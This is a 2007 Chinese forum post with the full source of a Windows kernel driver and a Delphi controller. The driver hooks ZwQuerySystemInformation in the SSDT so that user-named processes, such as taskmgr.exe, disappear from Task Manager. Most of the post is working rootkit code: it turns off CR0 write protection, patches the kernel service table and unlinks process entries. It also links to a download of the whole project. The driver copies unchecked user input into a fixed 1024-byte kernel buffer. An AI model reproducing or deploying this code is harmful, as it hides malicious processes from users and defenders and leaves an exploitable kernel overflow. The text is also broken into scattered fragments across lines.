标 题
				: 
				【原创】对 Hook 内核ntoskrnl
				'sZwQuerySystemInformation隐藏任务管理器进程名 的一点完善
				作 者
				: 
				sislcb
时 间
				: 
				2007
				-
				12
				-
				20
				,
				17
				:
				17
				链 接
				: 
				http
				:
				//bbs.pediy.com/showthread.php?t=56830
				通过hook ssdt中的ZwQuerySystemInformation来实现隐藏进程已经是很老的技术了。
qiweixue 在他的文章里面写的很清楚了
				:
				http
				:
				//bbs.pediy.com/showthread.php?t=36742&highlight=%E9%9A%90%E8%97%8F+%E8%97%8F%E8%BF%9B+%E8%BF%9B%E7%A8%8B
				不过他的文章里面,进程名字是直接写死的,不能通过三层进行传递,而且得到ZwQuerySystemInformation是通过汇编的方法,这样在其他系统上可能会有问题,所以我做了一些改善如下:
				1 
				通过应用程序将进程名字传递进来,可以传递多个进程名字,格式为:qq
				.
				exe
				;
				taskmgr
				.
				exe
				;
				2 
				通用的方法来得到ZwQuerySystemInformation的地址,不过这个方法都是从rookit上得来的。
很简单的完善了。如果没有接触过驱动的同学估计有点帮助(其实很不好意思拿上来。。)
驱动代码如下:
代码
				:
				///////////////////////////IoControl.h/////////////////////////////
				#ifndef 
				___HIDE_PROCESS_IO_CONTROL___
				#define   
				___HIDE_PROCESS_IO_CONTROL___
				#define    
				HIDE_PROCESS_WIN32_DEV_NAME    L
				"\\Device\\HideProcess"
				#define    
				HIDE_PROCESS_DEV_NAME        L
				"\\DosDevices\\HideProcess"
				#define    
				FILE_DEVICE_HIDE_PROCESS     
				0x00008811
				#define    
				IO_REFERENCE_EVENT        
				(
				ULONG
				) 
				CTL_CODE
				(
				FILE_DEVICE_HIDE_PROCESS
				, 
				0x801
				, 
				METHOD_NEITHER
				, 
				FILE_ANY_ACCESS
				)
				#define    
				IO_DEREFERENCE_EVENT      
				(
				ULONG
				) 
				CTL_CODE
				(
				FILE_DEVICE_HIDE_PROCESS
				, 
				0x802
				, 
				METHOD_NEITHER
				, 
				FILE_ANY_ACCESS
				)
				#define    
				IO_PASSBUF              
				(
				ULONG
				) 
				CTL_CODE
				(
				FILE_DEVICE_HIDE_PROCESS
				, 
				0x806
				, 
				METHOD_NEITHER
				, 
				FILE_ANY_ACCESS
				)
				/*
#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long
#define BYTE unsigned char
*/
/************************************************************************
*                                                                      *
*                             Struct Define                            *
*                                                                      *
************************************************************************/
				typedef struct 
				_Event_Struct
				{
				int 
				eventType
				;
				char 
				pname
				[
				255
				];
				char 
				pid
				[
				255
				];
}
				Event_Struct
				, *
				PEvent_Struct
				;
				typedef struct 
				_SECTION_IMAGE_INFORMATION 
				{
				PVOID EntryPoint
				;
				ULONG StackZeroBits
				;
				ULONG StackReserved
				;
				ULONG StackCommit
				;
				ULONG ImageSubsystem
				;
				WORD SubsystemVersionLow
				;
				WORD SubsystemVersionHigh
				;
				ULONG Unknown1
				;
				ULONG ImageCharacteristics
				;
				ULONG ImageMachineType
				;
				ULONG Unknown2
				[
				3
				];
} 
				SECTION_IMAGE_INFORMATION
				, *
				PSECTION_IMAGE_INFORMATION
				;
				/////////////////定义ntoskrnl.exe的服务表结构////////////////////////////////////////////////
				typedef struct 
				ServiceDescriptorEntry 
				{
    
				unsigned int 
				*
				ServiceTableBase
				;          
				//指向系统服务程序的地址(SSDT)
    
				unsigned int 
				*
				ServiceCounterTableBase
				;   
				//指向另一个索引表,该表包含了每个服务表项被调用的次数;不过这个值只在Checkd Build的内核中有效,在Free Build的内核中,这个值总为NULL
    
				unsigned int 
				NumberOfServices
				;           
				//表示当前系统所支持的服务个数
    
				unsigned char 
				*
				ParamTableBase
				;           
				//指向SSPT中的参数地址,它们都包含了NumberOfService这么多个数组单元
				} 
				ServiceDescriptorTableEntry 
				, *
				PServiceDescriptorTableEntry 
				;
				extern 
				PServiceDescriptorTableEntry KeServiceDescriptorTable
				;
				struct 
				_SYSTEM_THREADS
				{
				LARGE_INTEGER KernelTime
				;
				LARGE_INTEGER UserTime
				;
				LARGE_INTEGER CreateTime
				;
				ULONG WaitTime
				;
				PVOID StartAddress
				;
				CLIENT_ID ClientIs
				;
				KPRIORITY Priority
				;
				KPRIORITY BasePriority
				;
				ULONG ContextSwitchCount
				;
				ULONG ThreadState
				;
				KWAIT_REASON WaitReason
				;
};
				struct 
				_SYSTEM_PROCESSES
				{
				ULONG NextEntryDelta
				;                 
				//下一个进程信息的偏移量,如果为0表示无一个进程信息
				ULONG ThreadCount
				;                    
				//线程数
				ULONG Reserved
				[
				6
				];
				LARGE_INTEGER CreateTime
				;             
				//创建进程的时间
				LARGE_INTEGER UserTime
				;               
				//进程中所有线程在用户模式运行时间的总和
				LARGE_INTEGER KernelTime
				;             
				//进程中所有线程在内核模式运行时间的总和
				UNICODE_STRING ProcessName
				;           
				//进程的名字
				KPRIORITY BasePriority
				;               
				//线程的缺省优先级
				ULONG ProcessId
				;                      
				//进程ID号
				ULONG InheritedFromProcessId
				;         
				//继承语柄的进程ID号
				ULONG HandleCount
				;                    
				//进程打开的语柄数量
				ULONG Reserved2
				[
				2
				];
				VM_COUNTERS VmCounters
				;               
				//虚拟内存的使用情况统计
				IO_COUNTERS IoCounters
				;               
				//IO操作的统计,Only For 2000
				struct 
				_SYSTEM_THREADS Threads
				[
				1
				];    
				//描述进程中各线程的数组
				};
				#endif
				//////////////////////HideProcess.c///////////////////////////////
				#include 
				<
				ntddk
				.
				h
				>
				#include 
				"ntiologc.h"
				#include 
				"ntimage.h"
				#include 
				<
				windef
				.
				h
				>
				#include 
				<
				stdio
				.
				h
				>
				#include 
				<
				string
				.
				h
				>
				#include 
				"IoControl.h"
				VOID UnloadDriver
				(
				IN PDRIVER_OBJECT DriverObject
				);
				NTSTATUS HideProcess_Create
				(
				IN PDEVICE_OBJECT DeviceObject
				, 
				IN PIRP Irp
				);
				NTSTATUS HideProcess_Close
				(
				IN PDEVICE_OBJECT DeviceObject
				, 
				IN PIRP Irp
				);
				NTSTATUS HideProcess_IoControl
				(
				IN PDEVICE_OBJECT DeviceObject
				, 
				IN PIRP Irp
				);
				///////////////声明Native API///////////////////////////////////////
				NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation
				(
    
				IN ULONG SystemInformationClass
				,      
				//查询系统服务类型
    
				IN PVOID SystemInformation
				,           
				//接收系统信息缓冲区
    
				IN ULONG SystemInformationLength
				,     
				//接收信息缓冲区大小
    
				OUT PULONG ReturnLength
				);             
				//实际接收到的大小
				typedef 
				NTSTATUS 
				(*
				ZWQUERYSYSTEMINFORMATION
				)(
          
				IN ULONG SystemInformationClass
				,
          
				IN PVOID SystemInformation
				,
          
				IN ULONG SystemInformationLength
				,
          
				OUT PULONG ReturnLength
				);
				NTSTATUS MyZwQuerySystemInformation
				(
    
				IN ULONG SystemInformationClass
				,
    
				IN PVOID SystemInformation
				,
    
				IN ULONG SystemInformationLength
				,
    
				OUT PULONG ReturnLength
				);
				////////////////////定义所用到的全局变量///////////////
				extern 
				PServiceDescriptorTableEntry KeServiceDescriptorTable
				;
				unsigned long 
				OldCr0
				;
				UNICODE_STRING DeviceNameString
				;
				UNICODE_STRING LinkDeviceNameString
				;
				ZWQUERYSYSTEMINFORMATION    g_OriginalZwQuerySystemInformation
				;
				int 
				position
				;
				PVOID   gpEventObject 
				= 
				NULL
				;               
				//事件句柄
				CCHAR     outBuf
				[
				1024
				];                        
				//输入缓冲区大小
				#define 
				SEC_IMAGE 
				0x01000000
				DWORD GetDllFunctionAddress
				(
				char
				* 
				lpFunctionName
				, 
				PUNICODE_STRING pDllName
				)
{
				HANDLE hThread
				, 
				hSection
				, 
				hFile
				, 
				hMod
				;
				SECTION_IMAGE_INFORMATION sii
				;
				IMAGE_DOS_HEADER
				* 
				dosheader
				;
				IMAGE_OPTIONAL_HEADER
				* 
				opthdr
				;
				IMAGE_EXPORT_DIRECTORY
				* 
				pExportTable
				;
				DWORD
				* 
				arrayOfFunctionAddresses
				;
				DWORD
				* 
				arrayOfFunctionNames
				;
				WORD
				* 
				arrayOfFunctionOrdinals
				;
				DWORD functionOrdinal
				;
				DWORD Base
				, 
				x
				, 
				functionAddress
				;
				char
				* 
				functionName
				;
				STRING ntFunctionName
				, 
				ntFunctionNameSearch
				;
				PVOID BaseAddress 
				= 
				NULL
				;
				SIZE_T size
				=
				0
				;
				OBJECT_ATTRIBUTES oa 
				= {
				sizeof 
				oa
				, 
				0
				, 
				pDllName
				, 
				OBJ_CASE_INSENSITIVE
				};
				IO_STATUS_BLOCK iosb
				;
				//_asm int 3;
				ZwOpenFile
				(&
				hFile
				, 
				FILE_EXECUTE 
				| 
				SYNCHRONIZE
				, &
				oa
				, &
				iosb
				, 
				FILE_SHARE_READ
				, 
				FILE_SYNCHRONOUS_IO_NONALERT
				);
				oa
				.
				ObjectName 
				= 
				0
				;
				ZwCreateSection
				(&
				hSection
				, 
				SECTION_ALL_ACCESS
				, &
				oa
				, 
				0
				,
				PAGE_EXECUTE
				, 
				SEC_IMAGE
				, 
				hFile
				);
  
				ZwMapViewOfSection
				(
				hSection
				, 
				NtCurrentProcess
				(), &
				BaseAddress
				, 
				0
				, 
				1000
				, 
				0
				, &
				size
				, (
				SECTION_INHERIT
				)
				1
				, 
				MEM_TOP_DOWN
				, 
				PAGE_READWRITE
				);
  
				ZwClose
				(
				hFile
				);
  
				hMod 
				= 
				BaseAddress
				;
  
				dosheader 
				= (
				IMAGE_DOS_HEADER 
				*)
				hMod
				;
  
				opthdr 
				=(
				IMAGE_OPTIONAL_HEADER 
				*) ((
				BYTE
				*)
				hMod
				+
				dosheader
				->
				e_lfanew
				+
				24
				);
				pExportTable 
				=(
				IMAGE_EXPORT_DIRECTORY
				*)((
				BYTE
				*) 
				hMod 
				+ 
				opthdr
				->
				DataDirectory
				[ 
				IMAGE_DIRECTORY_ENTRY_EXPORT
				]. 
				VirtualAddress
				);
				arrayOfFunctionAddresses 
				= (
				DWORD
				*)( (
				BYTE
				*)
				hMod 
				+ 
				pExportTable
				->
				AddressOfFunctions
				);
				arrayOfFunctionNames 
				= (
				DWORD
				*)( (
				BYTE
				*)
				hMod 
				+ 
				pExportTable
				->
				AddressOfNames
				);
				arrayOfFunctionOrdinals 
				= (
				WORD
				*)( (
				BYTE
				*)
				hMod 
				+ 
				pExportTable
				->
				AddressOfNameOrdinals
				);
				Base 
				= 
				pExportTable
				->
				Base
				;
				RtlInitString
				(&
				ntFunctionNameSearch
				, 
				lpFunctionName
				);
				for
				(
				x 
				= 
				0
				; 
				x 
				< 
				pExportTable
				->
				NumberOfFunctions
				; 
				x
				++)
{
    
				functionName 
				= (
				char
				*)( (
				BYTE
				*)
				hMod 
				+ 
				arrayOfFunctionNames
				[
				x
				]);
    
				RtlInitString
				(&
				ntFunctionName
				, 
				functionName
				);
    
				functionOrdinal 
				= 
				arrayOfFunctionOrdinals
				[
				x
				] + 
				Base 
				- 
				1
				;
    
				functionAddress 
				= (
				DWORD
				)( (
				BYTE
				*)
				hMod 
				+ 
				arrayOfFunctionAddresses
				[
				functionOrdinal
				]);
    
				if 
				(
				RtlCompareString
				(&
				ntFunctionName
				, &
				ntFunctionNameSearch
				, 
				TRUE
				) == 
				0
				)
   {
     
				ZwClose
				(
				hSection
				);
     
				return 
				functionAddress
				;
   }
}
   
				ZwClose
				(
				hSection
				);
   
				return 
				0
				;
}
				NTSTATUS DriverEntry 
				(
				IN PDRIVER_OBJECT DriverObject
				,
				IN PUNICODE_STRING RegistryPath
				)
{
				NTSTATUS status
				;
				PDEVICE_OBJECT   deviceObject
				;
				UNICODE_STRING dllName
				;
				DWORD functionAddress
				;
   
				RtlInitUnicodeString
				( &
				DeviceNameString
				,    
				HIDE_PROCESS_WIN32_DEV_NAME 
				);
   
				RtlInitUnicodeString
				( &
				LinkDeviceNameString
				,
				HIDE_PROCESS_DEV_NAME 
				);
    
				KdPrint
				((
				"DriverEntry Enter............................\n"
				));
   
   
				status 
				= 
				IoCreateDevice
				(
                
				DriverObject
				,
                
				0
				,                     
                &
				DeviceNameString
				,
                
				FILE_DEVICE_DISK_FILE_SYSTEM
				,
                
				FILE_DEVICE_SECURE_OPEN
				,
                
				FALSE
				,
                & 
				deviceObject 
				);
    
				if 
				(!
				NT_SUCCESS
				( 
				status 
				))
    {
        
				KdPrint
				(( 
				"DriverEntry: Error creating control device object, status=%08x\n"
				, 
				status 
				));
        
				return 
				status
				;
    }
   
				status 
				= 
				IoCreateSymbolicLink
				(
                (
				PUNICODE_STRING
				) &
				LinkDeviceNameString
				,
                (
				PUNICODE_STRING
				) &
				DeviceNameString
                
				);
   
				if 
				(!
				NT_SUCCESS
				(
				status
				))
    {
        
				IoDeleteDevice
				(
				deviceObject
				);
        
				return 
				status
				;
    }
				DriverObject
				->
				MajorFunction
				[
				IRP_MJ_CREATE
				] = 
				HideProcess_Create
				;
				DriverObject
				->
				MajorFunction
				[
				IRP_MJ_CLOSE
				] = 
				HideProcess_Close
				;
				DriverObject
				->
				MajorFunction
				[
				IRP_MJ_DEVICE_CONTROL
				] = 
				HideProcess_IoControl
				;
				DriverObject
				->
				DriverUnload
				=
				UnloadDriver
				;
				//////////////////////Hook ZwQuerySystemInformation/////////////////////////////////////////////////
				RtlInitUnicodeString
				(&
				dllName
				, 
				L
				"\\Device\\HarddiskVolume1\\Windows\\System32\\ntdll.dll"
				);
				functionAddress 
				= 
				GetDllFunctionAddress
				(
				"ZwQuerySystemInformation"
				, &
				dllName
				);
				position 
				= *((
				WORD
				*)(
				functionAddress
				+
				1
				));
				g_OriginalZwQuerySystemInformation 
				= (
				ZWQUERYSYSTEMINFORMATION
				)(
				KeServiceDescriptorTable
				->
				ServiceTableBase
				[
				position
				]);
				_asm
				{
				CLI                    
				//dissable interrupt
				MOV    EAX
				, 
				CR0        
				//move CR0 register into EAX
				AND EAX
				, 
				NOT 
				10000H 
				//disable WP bit
				MOV    CR0
				, 
				EAX        
				//write register back
				}
(
				ZWQUERYSYSTEMINFORMATION
				)(
				KeServiceDescriptorTable
				->
				ServiceTableBase
				[
				position
				]) = 
				MyZwQuerySystemInformation
				;
				_asm
				{
    
				MOV    EAX
				, 
				CR0        
				//move CR0 register into EAX
    
				OR     EAX
				, 
				10000H        
				//enable WP bit    
    
				MOV    CR0
				, 
				EAX        
				//write register back       
    
				STI                    
				//enable interrupt
				}
				KdPrint
				((
				"Hook ZwQuerySystemInformation'status is Succeessfully "
				));
				return 
				status 
				;
}
				NTSTATUS HideProcess_Create
				(
				IN PDEVICE_OBJECT DeviceObject
				, 
				IN PIRP Irp
				)
{
				DbgPrint
				(
				"HideProcess_Create\n"
				);
				Irp
				->
				IoStatus
				.
				Status 
				= 
				STATUS_SUCCESS
				;
				Irp
				->
				IoStatus
				.
				Information 
				= 
				0
				;
				IoCompleteRequest
				(
				Irp
				, 
				IO_NO_INCREMENT
				);
				return 
				Irp
				->
				IoStatus
				.
				Status
				;
}
				NTSTATUS HideProcess_Close
				(
				IN PDEVICE_OBJECT DeviceObject
				, 
				IN PIRP Irp
				)
{
				DbgPrint
				(
				"HideProcess_Close\n"
				);
				Irp
				->
				IoStatus
				.
				Status 
				= 
				STATUS_SUCCESS
				;
				Irp
				->
				IoStatus
				.
				Information 
				= 
				0
				;
				IoCompleteRequest
				(
				Irp
				, 
				IO_NO_INCREMENT
				);
				return 
				Irp
				->
				IoStatus
				.
				Status
				;
}
				NTSTATUS HideProcess_IoControl
				(
				IN PDEVICE_OBJECT DeviceObject
				, 
				IN PIRP Irp
				)
{
				NTSTATUS                    status 
				= 
				STATUS_SUCCESS
				;
				ULONG            controlCode
				;
				PIO_STACK_LOCATION      irpStack
				;
				HANDLE            hEvent
				;
				OBJECT_HANDLE_INFORMATION objHandleInfo
				;
				ULONG                       outputLength
				, 
				inputLength
				;
				PVOID                       inputBuffer
				;
				irpStack 
				= 
				IoGetCurrentIrpStackLocation
				(
				Irp
				);
				outputLength 
				= 
				irpStack
				->
				Parameters
				.
				DeviceIoControl
				.
				OutputBufferLength
				;
				inputLength
				=
				irpStack
				->
				Parameters
				.
				DeviceIoControl
				.
				InputBufferLength
				;
				controlCode 
				= 
				irpStack
				->
				Parameters
				.
				DeviceIoControl
				.
				IoControlCode
				;
				switch
				(
				controlCode
				)
{
				case 
				IO_REFERENCE_EVENT
				:            
				//获取事件的句柄
    
				hEvent 
				= (
				HANDLE
				) 
				irpStack
				->
				Parameters
				.
				DeviceIoControl
				.
				Type3InputBuffer
				;
    
				status 
				= 
				ObReferenceObjectByHandle
				(
        
				hEvent
				,
        
				GENERIC_ALL
				,
        
				NULL
				,
        
				KernelMode
				,
        &
				gpEventObject
				,
        &
				objHandleInfo
				);
    
				if
				(
				status 
				!= 
				STATUS_SUCCESS
				)
    {
      
				DbgPrint
				(
				"ObReferenceObjectByHandle failed! status = %x\n"
				, 
				status
				);
      
				break
				;
    }
    
				DbgPrint
				(
				"IO_REFERENCE_EVENT\n"
				);
    
				break
				;
				case 
				IO_PASSBUF
				:     
				//应用层传输数据到驱动
    
				inputBuffer 
				= (
				char
				*)
				irpStack
				->
				Parameters
				.
				DeviceIoControl
				.
				Type3InputBuffer
				;
        
				RtlCopyMemory
				(&
				outBuf
				[
				0
				], 
				inputBuffer
				, 
				inputLength
				);
    
				DbgPrint
				(
				"IO_PassBuf:%s:%d"
				, 
				outBuf
				, 
				strlen
				(
				outBuf
				));
    
				break
				;
				case 
				IO_DEREFERENCE_EVENT
				:
    
				if
				(
				gpEventObject
				)
    {
      
				ObDereferenceObject
				(
				gpEventObject
				);
      
				gpEventObject 
				= 
				NULL
				;
    }
    
				DbgPrint
				(
				"IO_DEREFERENCE_EVENT\n"
				);
    
				break
				;
				default
				:
    
				break
				;
}
				Irp
				->
				IoStatus
				.
				Status 
				= 
				STATUS_SUCCESS
				;
				Irp
				->
				IoStatus
				.
				Information 
				= 
				0
				;
				IoCompleteRequest
				(
				Irp
				, 
				IO_NO_INCREMENT
				);
				return 
				status
				;
}
				VOID UnloadDriver
				(
				IN PDRIVER_OBJECT DriverObject
				)
{
    
				UNICODE_STRING uniWin32NameString
				;
    
				UNICODE_STRING LinkNameString
				;
    
				PDEVICE_OBJECT deviceObject
				;
				//////////////////////UnHook ZwQuerySystemInformation/////////////////////////////////////////////////
				_asm
				{
    
				CLI                    
				//dissable interrupt
    
				MOV    EAX
				, 
				CR0        
				//move CR0 register into EAX
    
				AND EAX
				, 
				NOT 
				10000H    
				//disable WP bit
    
				MOV    CR0
				, 
				EAX        
				//write register back
				}
(
				ZWQUERYSYSTEMINFORMATION
				)(
				KeServiceDescriptorTable
				->
				ServiceTableBase
				[
				position
				]) = 
				g_OriginalZwQuerySystemInformation
				;
				_asm
				{
    
				MOV    EAX
				, 
				CR0        
				//move CR0 register into EAX
    
				OR     EAX
				, 
				10000H     
				//enable WP bit    
    
				MOV    CR0
				, 
				EAX        
				//write register back       
    
				STI                    
				//enable interrupt
				}
    
				KdPrint
				((
				"UnHookZwQuerySystemInformation'status is Succeessfully................... "
				));
    
				deviceObject
				= 
				DriverObject
				->
				DeviceObject
				;
    
				IoDeleteSymbolicLink
				(&
				LinkDeviceNameString
				);
    
				ASSERT
				(!
				deviceObject
				->
				AttachedDevice
				);
    
				if 
				( 
				deviceObject 
				!= 
				NULL 
				)
    {
        
				IoDeleteDevice
				( 
				deviceObject 
				);
    }
}
				NTSTATUS MyZwQuerySystemInformation
				(
    
				IN ULONG SystemInformationClass
				,
    
				IN PVOID SystemInformation
				,
    
				IN ULONG SystemInformationLength
				,
    
				OUT PULONG ReturnLength
				)
{
				NTSTATUS rc
				;
				STRING ntNameString
				;
				UNICODE_STRING process_name
				;
				char 
				*
				buf 
				, *
				haystack
				;
				char 
				cpOutBuf
				[
				1024
				];
				char 
				*
				sep 
				= 
				";"
				;
				strcpy
				(
				cpOutBuf
				, 
				outBuf
				);
				haystack 
				= &
				cpOutBuf
				[
				0
				];
				rc 
				= (
				g_OriginalZwQuerySystemInformation
				) (
    
				SystemInformationClass
				,
    
				SystemInformation
				,
    
				SystemInformationLength
				,
    
				ReturnLength
				);
				if
				(
				NT_SUCCESS
				(
				rc
				))
{
    
				if
				(
				5 
				== 
				SystemInformationClass
				)
    {
      
				struct 
				_SYSTEM_PROCESSES 
				*
				curr
				;
      
				struct 
				_SYSTEM_PROCESSES 
				*
				prev
				;
      
				buf 
				= 
				strstr
				(
				haystack
				, 
				sep
				);
      
				while
				(
				buf 
				!= 
				NULL
				)
      {
        
				buf 
				[
				0
				] = 
				'\0'
				;
        
				DbgPrint
				(
				"%s"
				, 
				haystack
				);
        
				RtlInitAnsiString
				(&
				ntNameString
				, 
				haystack
				);
        
				RtlAnsiStringToUnicodeString
				(&
				process_name
				, &
				ntNameString
				, 
				TRUE
				);
               
        
				haystack 
				= 
				buf 
				+ 
				strlen
				(
				sep
				);
        
				buf 
				= 
				strstr
				(
				haystack
				, 
				sep
				);
        
				curr 
				= (
				struct 
				_SYSTEM_PROCESSES 
				*)
				SystemInformation
				;
        
				prev 
				= 
				NULL
				;
        
				if
				(
				curr
				->
				NextEntryDelta
				)((
				char 
				*)
				curr 
				+= 
				curr
				->
				NextEntryDelta
				);
        
				while
				(
				curr
				)
        {
          
				if 
				(
				RtlEqualUnicodeString
				(&
				process_name
				, &
				curr
				->
				ProcessName
				, 
				1
				))
          {
            
				DbgPrint
				(
				"hide process name taskmgr.exe"
				);
            
				//找到要隐藏的进程
            
				if
				(
				prev
				)
            {
              
				//要删除的信息在中间,则把指针指向下一个节点
              
				if
				(
				curr
				->
				NextEntryDelta
				)
                
				prev
				->
				NextEntryDelta 
				+= 
				curr
				->
				NextEntryDelta
				;
              
				else
                
				prev
				->
				NextEntryDelta 
				= 
				0
				; 
				//要删除的信息在末尾,则直接把指针指向0
            
				}
            
				else
            
				{
              
				if
				(
				curr
				->
				NextEntryDelta
				)
                (
				char 
				*)
				SystemInformation 
				+= 
				curr
				->
				NextEntryDelta
				; 
				//要删除的信息在开头
              
				else
                
				SystemInformation 
				= 
				NULL
				;
            }
            
				//如果链下一个还有其他的进程信息,指针往后移
            
				if
				(
				curr
				->
				NextEntryDelta
				)((
				char 
				*)
				curr 
				+= 
				curr
				->
				NextEntryDelta
				);
            
				else
            
				{
              
				curr 
				= 
				NULL
				;
              
				break
				;
            }
            }
          
				if
				(
				curr 
				!= 
				NULL
				)
          {
            
				//把当前指针设置成前一个指针,当前指针后移
            
				prev 
				= 
				curr
				;
            
				if
				(
				curr
				->
				NextEntryDelta
				)((
				char 
				*)
				curr 
				+= 
				curr
				->
				NextEntryDelta
				);
            
				else 
				curr 
				= 
				NULL
				;
          }
        }
                
				RtlFreeUnicodeString
				(&
				process_name
				);
      }
    }
}
    
				return 
				rc
				;
}
				三层的代码如下:
				/////////////////////delphi code///////////////////////////
				procedure TForm1
				.
				btnHideClick
				(
				Sender
				: 
				TObject
				);
				var
dwReturn
				: 
				DWORD
				;
				proname
				:
				array 
				[
				0..1023
				] 
				of 
				char
				;
				begin
				//创建设备
				try
    
				m_hCommDevice 
				:= 
				CreateFile
				(
				'\\.\HideProcess'
				, 
				GENERIC_READ 
				or 
				GENERIC_WRITE
				, 
				FILE_SHARE_READ
				, 
				nil
				,
                      
				OPEN_EXISTING
				, 
				FILE_ATTRIBUTE_NORMAL
				, 
				0
				);
				except
    MessageBox
				(
				Handle
				, 
				'创建设备失败'
				, 
				'隐藏进程启动'
				, 
				MB_OK 
				+ 
				MB_ICONWARNING
				);
				end
				;
				//创建事件
				try
    
				m_hCommEvent 
				:= 
				CreateEvent
				(
				nil
				, 
				false
				, 
				false
				, 
				nil
				);
				except
    CloseHandle
				(
				m_hCommDevice
				);
    
				MessageBox
				(
				Handle
				, 
				'创建事件失败'
				, 
				'隐藏进程启动'
				, 
				MB_OK 
				+ 
				MB_ICONWARNING
				);
				end
				;
				//发送事件句柄给驱动
				DeviceIoControl
				(
				m_hCommDevice
				, 
				IO_REFERENCE_EVENT
				, 
				pointer
				(
				m_hCommEvent
				), 
				0
				, 
				nil
				, 
				0
				, 
				dwReturn
				, 
				nil
				);
				StrPCopy
				(
				@proname
				, 
				Trim
				(
				edtProcessName
				.
				Text
				));
				DeviceIoControl
				(
				m_hCommDevice
				, 
				IO_PASSBUF
				, 
				@proname
				, 
				sizeof
				(
				proname
				), 
				nil
				, 
				0
				, 
				dwReturn
				, 
				nil
				);
				end
				;
				整个工程下载:
http
				:
				//bbs.pediy.com/attachment.php?attachmentid=10497&d=1198196319